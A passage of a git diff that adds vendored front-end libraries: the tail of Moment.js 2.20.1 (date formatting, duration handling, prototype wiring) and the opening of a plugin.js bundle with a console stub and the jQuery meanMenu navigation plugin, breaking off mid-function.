+// FORMATTING
+
+addFormatToken('s', ['ss', 2], 0, 'second');
+
+// ALIASES
+
+addUnitAlias('second', 's');
+
+// PRIORITY
+
+addUnitPriority('second', 15);
+
+// PARSING
+
+addRegexToken('s',  match1to2);
+addRegexToken('ss', match1to2, match2);
+addParseToken(['s', 'ss'], SECOND);
+
+// MOMENTS
+
+var getSetSecond = makeGetSet('Seconds', false);
+
+// FORMATTING
+
+addFormatToken('S', 0, 0, function () {
+    return ~~(this.millisecond() / 100);
+});
+
+addFormatToken(0, ['SS', 2], 0, function () {
+    return ~~(this.millisecond() / 10);
+});
+
+addFormatToken(0, ['SSS', 3], 0, 'millisecond');
+addFormatToken(0, ['SSSS', 4], 0, function () {
+    return this.millisecond() * 10;
+});
+addFormatToken(0, ['SSSSS', 5], 0, function () {
+    return this.millisecond() * 100;
+});
+addFormatToken(0, ['SSSSSS', 6], 0, function () {
+    return this.millisecond() * 1000;
+});
+addFormatToken(0, ['SSSSSSS', 7], 0, function () {
+    return this.millisecond() * 10000;
+});
+addFormatToken(0, ['SSSSSSSS', 8], 0, function () {
+    return this.millisecond() * 100000;
+});
+addFormatToken(0, ['SSSSSSSSS', 9], 0, function () {
+    return this.millisecond() * 1000000;
+});
+
+
+// ALIASES
+
+addUnitAlias('millisecond', 'ms');
+
+// PRIORITY
+
+addUnitPriority('millisecond', 16);
+
+// PARSING
+
+addRegexToken('S',    match1to3, match1);
+addRegexToken('SS',   match1to3, match2);
+addRegexToken('SSS',  match1to3, match3);
+
+var token;
+for (token = 'SSSS'; token.length <= 9; token += 'S') {
+    addRegexToken(token, matchUnsigned);
+}
+
+function parseMs(input, array) {
+    array[MILLISECOND] = toInt(('0.' + input) * 1000);
+}
+
+for (token = 'S'; token.length <= 9; token += 'S') {
+    addParseToken(token, parseMs);
+}
+// MOMENTS
+
+var getSetMillisecond = makeGetSet('Milliseconds', false);
+
+// FORMATTING
+
+addFormatToken('z',  0, 0, 'zoneAbbr');
+addFormatToken('zz', 0, 0, 'zoneName');
+
+// MOMENTS
+
+function getZoneAbbr () {
+    return this._isUTC ? 'UTC' : '';
+}
+
+function getZoneName () {
+    return this._isUTC ? 'Coordinated Universal Time' : '';
+}
+
+var proto = Moment.prototype;
+
+proto.add               = add;
+proto.calendar          = calendar$1;
+proto.clone             = clone;
+proto.diff              = diff;
+proto.endOf             = endOf;
+proto.format            = format;
+proto.from              = from;
+proto.fromNow           = fromNow;
+proto.to                = to;
+proto.toNow             = toNow;
+proto.get               = stringGet;
+proto.invalidAt         = invalidAt;
+proto.isAfter           = isAfter;
+proto.isBefore          = isBefore;
+proto.isBetween         = isBetween;
+proto.isSame            = isSame;
+proto.isSameOrAfter     = isSameOrAfter;
+proto.isSameOrBefore    = isSameOrBefore;
+proto.isValid           = isValid$2;
+proto.lang              = lang;
+proto.locale            = locale;
+proto.localeData        = localeData;
+proto.max               = prototypeMax;
+proto.min               = prototypeMin;
+proto.parsingFlags      = parsingFlags;
+proto.set               = stringSet;
+proto.startOf           = startOf;
+proto.subtract          = subtract;
+proto.toArray           = toArray;
+proto.toObject          = toObject;
+proto.toDate            = toDate;
+proto.toISOString       = toISOString;
+proto.inspect           = inspect;
+proto.toJSON            = toJSON;
+proto.toString          = toString;
+proto.unix              = unix;
+proto.valueOf           = valueOf;
+proto.creationData      = creationData;
+
+// Year
+proto.year       = getSetYear;
+proto.isLeapYear = getIsLeapYear;
+
+// Week Year
+proto.weekYear    = getSetWeekYear;
+proto.isoWeekYear = getSetISOWeekYear;
+
+// Quarter
+proto.quarter = proto.quarters = getSetQuarter;
+
+// Month
+proto.month       = getSetMonth;
+proto.daysInMonth = getDaysInMonth;
+
+// Week
+proto.week           = proto.weeks        = getSetWeek;
+proto.isoWeek        = proto.isoWeeks     = getSetISOWeek;
+proto.weeksInYear    = getWeeksInYear;
+proto.isoWeeksInYear = getISOWeeksInYear;
+
+// Day
+proto.date       = getSetDayOfMonth;
+proto.day        = proto.days             = getSetDayOfWeek;
+proto.weekday    = getSetLocaleDayOfWeek;
+proto.isoWeekday = getSetISODayOfWeek;
+proto.dayOfYear  = getSetDayOfYear;
+
+// Hour
+proto.hour = proto.hours = getSetHour;
+
+// Minute
+proto.minute = proto.minutes = getSetMinute;
+
+// Second
+proto.second = proto.seconds = getSetSecond;
+
+// Millisecond
+proto.millisecond = proto.milliseconds = getSetMillisecond;
+
+// Offset
+proto.utcOffset            = getSetOffset;
+proto.utc                  = setOffsetToUTC;
+proto.local                = setOffsetToLocal;
+proto.parseZone            = setOffsetToParsedOffset;
+proto.hasAlignedHourOffset = hasAlignedHourOffset;
+proto.isDST                = isDaylightSavingTime;
+proto.isLocal              = isLocal;
+proto.isUtcOffset          = isUtcOffset;
+proto.isUtc                = isUtc;
+proto.isUTC                = isUtc;
+
+// Timezone
+proto.zoneAbbr = getZoneAbbr;
+proto.zoneName = getZoneName;
+
+// Deprecations
+proto.dates  = deprecate('dates accessor is deprecated. Use date instead.', getSetDayOfMonth);
+proto.months = deprecate('months accessor is deprecated. Use month instead', getSetMonth);
+proto.years  = deprecate('years accessor is deprecated. Use year instead', getSetYear);
+proto.zone   = deprecate('moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/', getSetZone);
+proto.isDSTShifted = deprecate('isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information', isDaylightSavingTimeShifted);
+
+function createUnix (input) {
+    return createLocal(input * 1000);
+}
+
+function createInZone () {
+    return createLocal.apply(null, arguments).parseZone();
+}
+
+function preParsePostFormat (string) {
+    return string;
+}
+
+var proto$1 = Locale.prototype;
+
+proto$1.calendar        = calendar;
+proto$1.longDateFormat  = longDateFormat;
+proto$1.invalidDate     = invalidDate;
+proto$1.ordinal         = ordinal;
+proto$1.preparse        = preParsePostFormat;
+proto$1.postformat      = preParsePostFormat;
+proto$1.relativeTime    = relativeTime;
+proto$1.pastFuture      = pastFuture;
+proto$1.set             = set;
+
+// Month
+proto$1.months            =        localeMonths;
+proto$1.monthsShort       =        localeMonthsShort;
+proto$1.monthsParse       =        localeMonthsParse;
+proto$1.monthsRegex       = monthsRegex;
+proto$1.monthsShortRegex  = monthsShortRegex;
+
+// Week
+proto$1.week = localeWeek;
+proto$1.firstDayOfYear = localeFirstDayOfYear;
+proto$1.firstDayOfWeek = localeFirstDayOfWeek;
+
+// Day of Week
+proto$1.weekdays       =        localeWeekdays;
+proto$1.weekdaysMin    =        localeWeekdaysMin;
+proto$1.weekdaysShort  =        localeWeekdaysShort;
+proto$1.weekdaysParse  =        localeWeekdaysParse;
+
+proto$1.weekdaysRegex       =        weekdaysRegex;
+proto$1.weekdaysShortRegex  =        weekdaysShortRegex;
+proto$1.weekdaysMinRegex    =        weekdaysMinRegex;
+
+// Hours
+proto$1.isPM = localeIsPM;
+proto$1.meridiem = localeMeridiem;
+
+function get$1 (format, index, field, setter) {
+    var locale = getLocale();
+    var utc = createUTC().set(setter, index);
+    return locale[field](utc, format);
+}
+
+function listMonthsImpl (format, index, field) {
+    if (isNumber(format)) {
+        index = format;
+        format = undefined;
+    }
+
+    format = format || '';
+
+    if (index != null) {
+        return get$1(format, index, field, 'month');
+    }
+
+    var i;
+    var out = [];
+    for (i = 0; i < 12; i++) {
+        out[i] = get$1(format, i, field, 'month');
+    }
+    return out;
+}
+
+// ()
+// (5)
+// (fmt, 5)
+// (fmt)
+// (true)
+// (true, 5)
+// (true, fmt, 5)
+// (true, fmt)
+function listWeekdaysImpl (localeSorted, format, index, field) {
+    if (typeof localeSorted === 'boolean') {
+        if (isNumber(format)) {
+            index = format;
+            format = undefined;
+        }
+
+        format = format || '';
+    } else {
+        format = localeSorted;
+        index = format;
+        localeSorted = false;
+
+        if (isNumber(format)) {
+            index = format;
+            format = undefined;
+        }
+
+        format = format || '';
+    }
+
+    var locale = getLocale(),
+        shift = localeSorted ? locale._week.dow : 0;
+
+    if (index != null) {
+        return get$1(format, (index + shift) % 7, field, 'day');
+    }
+
+    var i;
+    var out = [];
+    for (i = 0; i < 7; i++) {
+        out[i] = get$1(format, (i + shift) % 7, field, 'day');
+    }
+    return out;
+}
+
+function listMonths (format, index) {
+    return listMonthsImpl(format, index, 'months');
+}
+
+function listMonthsShort (format, index) {
+    return listMonthsImpl(format, index, 'monthsShort');
+}
+
+function listWeekdays (localeSorted, format, index) {
+    return listWeekdaysImpl(localeSorted, format, index, 'weekdays');
+}
+
+function listWeekdaysShort (localeSorted, format, index) {
+    return listWeekdaysImpl(localeSorted, format, index, 'weekdaysShort');
+}
+
+function listWeekdaysMin (localeSorted, format, index) {
+    return listWeekdaysImpl(localeSorted, format, index, 'weekdaysMin');
+}
+
+getSetGlobalLocale('en', {
+    dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/,
+    ordinal : function (number) {
+        var b = number % 10,
+            output = (toInt(number % 100 / 10) === 1) ? 'th' :
+            (b === 1) ? 'st' :
+            (b === 2) ? 'nd' :
+            (b === 3) ? 'rd' : 'th';
+        return number + output;
+    }
+});
+
+// Side effect imports
+hooks.lang = deprecate('moment.lang is deprecated. Use moment.locale instead.', getSetGlobalLocale);
+hooks.langData = deprecate('moment.langData is deprecated. Use moment.localeData instead.', getLocale);
+
+var mathAbs = Math.abs;
+
+function abs () {
+    var data           = this._data;
+
+    this._milliseconds = mathAbs(this._milliseconds);
+    this._days         = mathAbs(this._days);
+    this._months       = mathAbs(this._months);
+
+    data.milliseconds  = mathAbs(data.milliseconds);
+    data.seconds       = mathAbs(data.seconds);
+    data.minutes       = mathAbs(data.minutes);
+    data.hours         = mathAbs(data.hours);
+    data.months        = mathAbs(data.months);
+    data.years         = mathAbs(data.years);
+
+    return this;
+}
+
+function addSubtract$1 (duration, input, value, direction) {
+    var other = createDuration(input, value);
+
+    duration._milliseconds += direction * other._milliseconds;
+    duration._days         += direction * other._days;
+    duration._months       += direction * other._months;
+
+    return duration._bubble();
+}
+
+// supports only 2.0-style add(1, 's') or add(duration)
+function add$1 (input, value) {
+    return addSubtract$1(this, input, value, 1);
+}
+
+// supports only 2.0-style subtract(1, 's') or subtract(duration)
+function subtract$1 (input, value) {
+    return addSubtract$1(this, input, value, -1);
+}
+
+function absCeil (number) {
+    if (number < 0) {
+        return Math.floor(number);
+    } else {
+        return Math.ceil(number);
+    }
+}
+
+function bubble () {
+    var milliseconds = this._milliseconds;
+    var days         = this._days;
+    var months       = this._months;
+    var data         = this._data;
+    var seconds, minutes, hours, years, monthsFromDays;
+
+    // if we have a mix of positive and negative values, bubble down first
+    // check: https://github.com/moment/moment/issues/2166
+    if (!((milliseconds >= 0 && days >= 0 && months >= 0) ||
+            (milliseconds <= 0 && days <= 0 && months <= 0))) {
+        milliseconds += absCeil(monthsToDays(months) + days) * 864e5;
+        days = 0;
+        months = 0;
+    }
+
+    // The following code bubbles up values, see the tests for
+    // examples of what that means.
+    data.milliseconds = milliseconds % 1000;
+
+    seconds           = absFloor(milliseconds / 1000);
+    data.seconds      = seconds % 60;
+
+    minutes           = absFloor(seconds / 60);
+    data.minutes      = minutes % 60;
+
+    hours             = absFloor(minutes / 60);
+    data.hours        = hours % 24;
+
+    days += absFloor(hours / 24);
+
+    // convert days to months
+    monthsFromDays = absFloor(daysToMonths(days));
+    months += monthsFromDays;
+    days -= absCeil(monthsToDays(monthsFromDays));
+
+    // 12 months -> 1 year
+    years = absFloor(months / 12);
+    months %= 12;
+
+    data.days   = days;
+    data.months = months;
+    data.years  = years;
+
+    return this;
+}
+
+function daysToMonths (days) {
+    // 400 years have 146097 days (taking into account leap year rules)
+    // 400 years have 12 months === 4800
+    return days * 4800 / 146097;
+}
+
+function monthsToDays (months) {
+    // the reverse of daysToMonths
+    return months * 146097 / 4800;
+}
+
+function as (units) {
+    if (!this.isValid()) {
+        return NaN;
+    }
+    var days;
+    var months;
+    var milliseconds = this._milliseconds;
+
+    units = normalizeUnits(units);
+
+    if (units === 'month' || units === 'year') {
+        days   = this._days   + milliseconds / 864e5;
+        months = this._months + daysToMonths(days);
+        return units === 'month' ? months : months / 12;
+    } else {
+        // handle milliseconds separately because of floating point math errors (issue #1867)
+        days = this._days + Math.round(monthsToDays(this._months));
+        switch (units) {
+            case 'week'   : return days / 7     + milliseconds / 6048e5;
+            case 'day'    : return days         + milliseconds / 864e5;
+            case 'hour'   : return days * 24    + milliseconds / 36e5;
+            case 'minute' : return days * 1440  + milliseconds / 6e4;
+            case 'second' : return days * 86400 + milliseconds / 1000;
+            // Math.floor prevents floating point math errors here
+            case 'millisecond': return Math.floor(days * 864e5) + milliseconds;
+            default: throw new Error('Unknown unit ' + units);
+        }
+    }
+}
+
+// TODO: Use this.as('ms')?
+function valueOf$1 () {
+    if (!this.isValid()) {
+        return NaN;
+    }
+    return (
+        this._milliseconds +
+        this._days * 864e5 +
+        (this._months % 12) * 2592e6 +
+        toInt(this._months / 12) * 31536e6
+    );
+}
+
+function makeAs (alias) {
+    return function () {
+        return this.as(alias);
+    };
+}
+
+var asMilliseconds = makeAs('ms');
+var asSeconds      = makeAs('s');
+var asMinutes      = makeAs('m');
+var asHours        = makeAs('h');
+var asDays         = makeAs('d');
+var asWeeks        = makeAs('w');
+var asMonths       = makeAs('M');
+var asYears        = makeAs('y');
+
+function clone$1 () {
+    return createDuration(this);
+}
+
+function get$2 (units) {
+    units = normalizeUnits(units);
+    return this.isValid() ? this[units + 's']() : NaN;
+}
+
+function makeGetter(name) {
+    return function () {
+        return this.isValid() ? this._data[name] : NaN;
+    };
+}
+
+var milliseconds = makeGetter('milliseconds');
+var seconds      = makeGetter('seconds');
+var minutes      = makeGetter('minutes');
+var hours        = makeGetter('hours');
+var days         = makeGetter('days');
+var months       = makeGetter('months');
+var years        = makeGetter('years');
+
+function weeks () {
+    return absFloor(this.days() / 7);
+}
+
+var round = Math.round;
+var thresholds = {
+    ss: 44,         // a few seconds to seconds
+    s : 45,         // seconds to minute
+    m : 45,         // minutes to hour
+    h : 22,         // hours to day
+    d : 26,         // days to month
+    M : 11          // months to year
+};
+
+// helper function for moment.fn.from, moment.fn.fromNow, and moment.duration.fn.humanize
+function substituteTimeAgo(string, number, withoutSuffix, isFuture, locale) {
+    return locale.relativeTime(number || 1, !!withoutSuffix, string, isFuture);
+}
+
+function relativeTime$1 (posNegDuration, withoutSuffix, locale) {
+    var duration = createDuration(posNegDuration).abs();
+    var seconds  = round(duration.as('s'));
+    var minutes  = round(duration.as('m'));
+    var hours    = round(duration.as('h'));
+    var days     = round(duration.as('d'));
+    var months   = round(duration.as('M'));
+    var years    = round(duration.as('y'));
+
+    var a = seconds <= thresholds.ss && ['s', seconds]  ||
+            seconds < thresholds.s   && ['ss', seconds] ||
+            minutes <= 1             && ['m']           ||
+            minutes < thresholds.m   && ['mm', minutes] ||
+            hours   <= 1             && ['h']           ||
+            hours   < thresholds.h   && ['hh', hours]   ||
+            days    <= 1             && ['d']           ||
+            days    < thresholds.d   && ['dd', days]    ||
+            months  <= 1             && ['M']           ||
+            months  < thresholds.M   && ['MM', months]  ||
+            years   <= 1             && ['y']           || ['yy', years];
+
+    a[2] = withoutSuffix;
+    a[3] = +posNegDuration > 0;
+    a[4] = locale;
+    return substituteTimeAgo.apply(null, a);
+}
+
+// This function allows you to set the rounding function for relative time strings
+function getSetRelativeTimeRounding (roundingFunction) {
+    if (roundingFunction === undefined) {
+        return round;
+    }
+    if (typeof(roundingFunction) === 'function') {
+        round = roundingFunction;
+        return true;
+    }
+    return false;
+}
+
+// This function allows you to set a threshold for relative time strings
+function getSetRelativeTimeThreshold (threshold, limit) {
+    if (thresholds[threshold] === undefined) {
+        return false;
+    }
+    if (limit === undefined) {
+        return thresholds[threshold];
+    }
+    thresholds[threshold] = limit;
+    if (threshold === 's') {
+        thresholds.ss = limit - 1;
+    }
+    return true;
+}
+
+function humanize (withSuffix) {
+    if (!this.isValid()) {
+        return this.localeData().invalidDate();
+    }
+
+    var locale = this.localeData();
+    var output = relativeTime$1(this, !withSuffix, locale);
+
+    if (withSuffix) {
+        output = locale.pastFuture(+this, output);
+    }
+
+    return locale.postformat(output);
+}
+
+var abs$1 = Math.abs;
+
+function sign(x) {
+    return ((x > 0) - (x < 0)) || +x;
+}
+
+function toISOString$1() {
+    // for ISO strings we do not use the normal bubbling rules:
+    //  * milliseconds bubble up until they become hours
+    //  * days do not bubble at all
+    //  * months bubble up until they become years
+    // This is because there is no context-free conversion between hours and days
+    // (think of clock changes)
+    // and also not between days and months (28-31 days per month)
+    if (!this.isValid()) {
+        return this.localeData().invalidDate();
+    }
+
+    var seconds = abs$1(this._milliseconds) / 1000;
+    var days         = abs$1(this._days);
+    var months       = abs$1(this._months);
+    var minutes, hours, years;
+
+    // 3600 seconds -> 60 minutes -> 1 hour
+    minutes           = absFloor(seconds / 60);
+    hours             = absFloor(minutes / 60);
+    seconds %= 60;
+    minutes %= 60;
+
+    // 12 months -> 1 year
+    years  = absFloor(months / 12);
+    months %= 12;
+
+
+    // inspired by https://github.com/dordille/moment-isoduration/blob/master/moment.isoduration.js
+    var Y = years;
+    var M = months;
+    var D = days;
+    var h = hours;
+    var m = minutes;
+    var s = seconds ? seconds.toFixed(3).replace(/\.?0+$/, '') : '';
+    var total = this.asSeconds();
+
+    if (!total) {
+        // this is the same as C#'s (Noda) and python (isodate)...
+        // but not other JS (goog.date)
+        return 'P0D';
+    }
+
+    var totalSign = total < 0 ? '-' : '';
+    var ymSign = sign(this._months) !== sign(total) ? '-' : '';
+    var daysSign = sign(this._days) !== sign(total) ? '-' : '';
+    var hmsSign = sign(this._milliseconds) !== sign(total) ? '-' : '';
+
+    return totalSign + 'P' +
+        (Y ? ymSign + Y + 'Y' : '') +
+        (M ? ymSign + M + 'M' : '') +
+        (D ? daysSign + D + 'D' : '') +
+        ((h || m || s) ? 'T' : '') +
+        (h ? hmsSign + h + 'H' : '') +
+        (m ? hmsSign + m + 'M' : '') +
+        (s ? hmsSign + s + 'S' : '');
+}
+
+var proto$2 = Duration.prototype;
+
+proto$2.isValid        = isValid$1;
+proto$2.abs            = abs;
+proto$2.add            = add$1;
+proto$2.subtract       = subtract$1;
+proto$2.as             = as;
+proto$2.asMilliseconds = asMilliseconds;
+proto$2.asSeconds      = asSeconds;
+proto$2.asMinutes      = asMinutes;
+proto$2.asHours        = asHours;
+proto$2.asDays         = asDays;
+proto$2.asWeeks        = asWeeks;
+proto$2.asMonths       = asMonths;
+proto$2.asYears        = asYears;
+proto$2.valueOf        = valueOf$1;
+proto$2._bubble        = bubble;
+proto$2.clone          = clone$1;
+proto$2.get            = get$2;
+proto$2.milliseconds   = milliseconds;
+proto$2.seconds        = seconds;
+proto$2.minutes        = minutes;
+proto$2.hours          = hours;
+proto$2.days           = days;
+proto$2.weeks          = weeks;
+proto$2.months         = months;
+proto$2.years          = years;
+proto$2.humanize       = humanize;
+proto$2.toISOString    = toISOString$1;
+proto$2.toString       = toISOString$1;
+proto$2.toJSON         = toISOString$1;
+proto$2.locale         = locale;
+proto$2.localeData     = localeData;
+
+// Deprecations
+proto$2.toIsoString = deprecate('toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)', toISOString$1);
+proto$2.lang = lang;
+
+// Side effect imports
+
+// FORMATTING
+
+addFormatToken('X', 0, 0, 'unix');
+addFormatToken('x', 0, 0, 'valueOf');
+
+// PARSING
+
+addRegexToken('x', matchSigned);
+addRegexToken('X', matchTimestamp);
+addParseToken('X', function (input, array, config) {
+    config._d = new Date(parseFloat(input, 10) * 1000);
+});
+addParseToken('x', function (input, array, config) {
+    config._d = new Date(toInt(input));
+});
+
+// Side effect imports
+
+
+hooks.version = '2.20.1';
+
+setHookCallback(createLocal);
+
+hooks.fn                    = proto;
+hooks.min                   = min;
+hooks.max                   = max;
+hooks.now                   = now;
+hooks.utc                   = createUTC;
+hooks.unix                  = createUnix;
+hooks.months                = listMonths;
+hooks.isDate                = isDate;
+hooks.locale                = getSetGlobalLocale;
+hooks.invalid               = createInvalid;
+hooks.duration              = createDuration;
+hooks.isMoment              = isMoment;
+hooks.weekdays              = listWeekdays;
+hooks.parseZone             = createInZone;
+hooks.localeData            = getLocale;
+hooks.isDuration            = isDuration;
+hooks.monthsShort           = listMonthsShort;
+hooks.weekdaysMin           = listWeekdaysMin;
+hooks.defineLocale          = defineLocale;
+hooks.updateLocale          = updateLocale;
+hooks.locales               = listLocales;
+hooks.weekdaysShort         = listWeekdaysShort;
+hooks.normalizeUnits        = normalizeUnits;
+hooks.relativeTimeRounding  = getSetRelativeTimeRounding;
+hooks.relativeTimeThreshold = getSetRelativeTimeThreshold;
+hooks.calendarFormat        = getCalendarFormat;
+hooks.prototype             = proto;
+
+// currently HTML5 input type only supports 24-hour formats
+hooks.HTML5_FMT = {
+    DATETIME_LOCAL: 'YYYY-MM-DDTHH:mm',             // <input type="datetime-local" />
+    DATETIME_LOCAL_SECONDS: 'YYYY-MM-DDTHH:mm:ss',  // <input type="datetime-local" step="1" />
+    DATETIME_LOCAL_MS: 'YYYY-MM-DDTHH:mm:ss.SSS',   // <input type="datetime-local" step="0.001" />
+    DATE: 'YYYY-MM-DD',                             // <input type="date" />
+    TIME: 'HH:mm',                                  // <input type="time" />
+    TIME_SECONDS: 'HH:mm:ss',                       // <input type="time" step="1" />
+    TIME_MS: 'HH:mm:ss.SSS',                        // <input type="time" step="0.001" />
+    WEEK: 'YYYY-[W]WW',                             // <input type="week" />
+    MONTH: 'YYYY-MM'                                // <input type="month" />
+};
+
+return hooks;
+
+})));
+  
+  
+  
+  
+
+
diff --git a/public/js/plugin.js b/public/js/plugin.js
new file mode 100644
index 0000000..dd88288
--- /dev/null
+++ b/public/js/plugin.js
@@ -0,0 +1,18950 @@
+/*---------------------------------------------------------------------
+    File Name: plugin.js
+---------------------------------------------------------------------*/
+
+/* Avoid `console` errors in browsers that lack a console.
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+(function() {
+	var method;
+	var noop = function () {};
+	var methods = [
+		'assert', 'clear', 'count', 'debug', 'dir', 'dirxml', 'error',
+		'exception', 'group', 'groupCollapsed', 'groupEnd', 'info', 'log',
+		'markTimeline', 'profile', 'profileEnd', 'table', 'time', 'timeEnd',
+		'timeline', 'timelineEnd', 'timeStamp', 'trace', 'warn'
+	];
+	var length = methods.length;
+	var console = (window.console = window.console || {});
+
+	while (length--) {
+		method = methods[length];
+
+		// Only stub undefined methods.
+		if (!console[method]) {
+			console[method] = noop;
+		}
+	}
+}());
+
+
+/* JQuery meanMenu v2.0.8
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+/*!
+* jQuery meanMenu v2.0.8
+* @Copyright (C) 2012-2014 Chris Wharton @ MeanThemes (https://github.com/meanthemes/meanMenu)
+*
+*/
+/*
+* This program is free software: you can redistribute it and/or modify
+* it under the terms of the GNU General Public License as published by
+* the Free Software Foundation, either version 3 of the License, or
+* (at your option) any later version.
+*
+* THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS," AND COPYRIGHT
+* HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED,
+* INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR
+* FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE
+* OR DOCUMENTATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS,
+* COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.COPYRIGHT HOLDERS WILL NOT
+* BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL
+* DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENTATION.
+*
+* You should have received a copy of the GNU General Public License
+* along with this program. If not, see <http://gnu.org/licenses/>.
+*
+* Find more information at http://www.meanthemes.com/plugins/meanmenu/
+*
+*/
+(function ($) {
+	"use strict";
+		$.fn.meanmenu = function (options) {
+				var defaults = {
+						meanMenuTarget: jQuery(this), // Target the current HTML markup you wish to replace
+						meanMenuContainer: '.menu-area', // Choose where meanmenu will be placed within the HTML
+						meanMenuClose: "X", // single character you want to represent the close menu button
+						meanMenuCloseSize: "25px", // set font size of close button
+						meanMenuOpen: "<span /><span /><span />", // text/markup you want when menu is closed
+						meanRevealPosition: "", // left right or center positions
+						meanRevealPositionDistance: "0", // Tweak the position of the menu
+						meanRevealColour: "", // override CSS colours for the reveal background
+						meanScreenWidth: "767", // set the screen width you want meanmenu to kick in at
+						meanNavPush: "", // set a height here in px, em or % if you want to budge your layout now the navigation is missing.
+						meanShowChildren: true, // true to show children in the menu, false to hide them
+						meanExpandableChildren: true, // true to allow expand/collapse children
+						meanExpand: "+", // single character you want to represent the expand for ULs
+						meanContract: "-", // single character you want to represent the contract for ULs
+						meanRemoveAttrs: false, // true to remove classes and IDs, false to keep them
+						onePage: false, // set to true for one page sites
+						meanDisplay: "block", // override display method for table cell based layouts e.g. table-cell
+						removeElements: "" // set to hide page elements
+				};
+				options = $.extend(defaults, options);
+
+				// get browser width
+				var currentWidth = window.innerWidth || document.documentElement.clientWidth;
+
+				return this.each(function () {
+						var meanMenu = options.meanMenuTarget;
+						var meanContainer = options.meanMenuContainer;
+						var meanMenuClose = options.meanMenuClose;
+						var meanMenuCloseSize = options.meanMenuCloseSize;
+						var meanMenuOpen = options.meanMenuOpen;
+						var meanRevealPosition = options.meanRevealPosition;
+						var meanRevealPositionDistance = options.meanRevealPositionDistance;
+						var meanRevealColour = options.meanRevealColour;
+						var meanScreenWidth = options.meanScreenWidth;
+						var meanNavPush = options.meanNavPush;
+						var meanRevealClass = ".meanmenu-reveal";
+						var meanShowChildren = options.meanShowChildren;
+						var meanExpandableChildren = options.meanExpandableChildren;
+						var meanExpand = options.meanExpand;
+						var meanContract = options.meanContract;
+						var meanRemoveAttrs = options.meanRemoveAttrs;
+						var onePage = options.onePage;
+						var meanDisplay = options.meanDisplay;
+						var removeElements = options.removeElements;
+
+						//detect known mobile/tablet usage
+						var isMobile = false;
+						if ( (navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i)) || (navigator.userAgent.match(/iPad/i)) || (navigator.userAgent.match(/Android/i)) || (navigator.userAgent.match(/Blackberry/i)) || (navigator.userAgent.match(/Windows Phone/i)) ) {
+								isMobile = true;
+						}
+
+						if ( (navigator.userAgent.match(/MSIE 8/i)) || (navigator.userAgent.match(/MSIE 7/i)) ) {
+							// add scrollbar for IE7 & 8 to stop breaking resize function on small content sites
+								jQuery('html').css("overflow-y" , "scroll");
+						}
+
+						var meanRevealPos = "";
+						var meanCentered = function() {
+							if (meanRevealPosition === "center") {
+								var newWidth = window.innerWidth || document.documentElement.clientWidth;
+								var meanCenter = ( (newWidth/2)-22 )+"px";
+								meanRevealPos = "left:" + meanCenter + ";right:auto;";
+
+								if (!isMobile) {
+									jQuery('.meanmenu-reveal').css("left",meanCenter);
+								} else {
+									jQuery('.meanmenu-reveal').animate({
+											left: meanCenter
+									});
+								}
+							}
+						};
+
+						var menuOn = false;
+						var meanMenuExist = false;
+
+
+						if (meanRevealPosition === "right") {
+								meanRevealPos = "right:" + meanRevealPositionDistance + ";left:auto;";
+						}
+						if (meanRevealPosition === "left") {
+								meanRevealPos = "left:" + meanRevealPositionDistance + ";right:auto;";
+						}
+						// run center function
+						meanCentered();
+
+						// set all styles for mean-reveal
+						var $navreveal = "";
+
+						var meanInner = function() {
+								// get last class name
+								if (jQuery($navreveal).is(".meanmenu-reveal.meanclose")) {
+										$navreveal.html(meanMenuClose);
+								} else {
+										$navreveal.html(meanMenuOpen);
+								}
+						};
+
+						// re-instate original nav (and call this on window.width functions)
+						var meanOriginal = function() {
+							jQuery('.mean-bar,.mean-push').remove();
+							jQuery(meanContainer).removeClass("mean-container");
+							jQuery(meanMenu).css('display', meanDisplay);
+							menuOn = false;
+							meanMenuExist = false;
+							jQuery(removeElements).removeClass('mean-remove');
+						};
+
+						// navigation reveal
+						var showMeanMenu = function() {
+								var meanStyles = "background:"+meanRevealColour+";color:"+meanRevealColour+";"+meanRevealPos;
+								if (currentWidth <= meanScreenWidth) {
+								jQuery(removeElements).addClass('mean-remove');
+									meanMenuExist = true;
+									// add class to body so we don't need to worry about media queries here, all CSS is wrapped in '.mean-container'
+									jQuery(meanContainer).addClass("mean-container");
+									jQuery('.mean-container').prepend('<div class="mean-bar"><a href="#nav" class="meanmenu-reveal" style="'+meanStyles+'">Show Navigation</a><nav class="mean-nav"></nav></div>');
+
+									//push meanMenu navigation into .mean-nav
+									var meanMenuContents = jQuery(meanMenu).html();
+									jQuery('.mean-nav').html(meanMenuContents);
+
+									// remove all classes from EVERYTHING inside meanmenu nav
+									if(meanRemoveAttrs) {
+										jQuery('nav.mean-nav ul, nav.mean-nav ul *').each(function() {
+											// First check if this has mean-remove class
+											if (jQuery(this).is('.mean-remove')) {
+												jQuery(this).attr('class', 'mean-remove');
+											} else {
+												jQuery(this).removeAttr("class");
+											}
+											jQuery(this).removeAttr("id");
+										});
+									}
+
+									// push in a holder div (this can be used if removal of nav is causing layout issues)
+									jQuery(meanMenu).before('<div class="mean-push" />');
+									jQuery('.mean-push').css("margin-top",meanNavPush);
+
+									// hide current navigation and reveal mean nav link
+									jQuery(meanMenu).hide();
+									jQuery(".meanmenu-reveal").show();
+
+									// turn 'X' on or off
+									jQuery(meanRevealClass).html(meanMenuOpen);
+									$navreveal = jQuery(meanRevealClass);
+
+									//hide mean-nav ul
+									jQuery('.mean-nav ul').hide();
+
+									// hide sub nav
+									if(meanShowChildren) {
+											// allow expandable sub nav(s)
+											if(meanExpandableChildren){
+												jQuery('.mean-nav ul ul').each(function() {
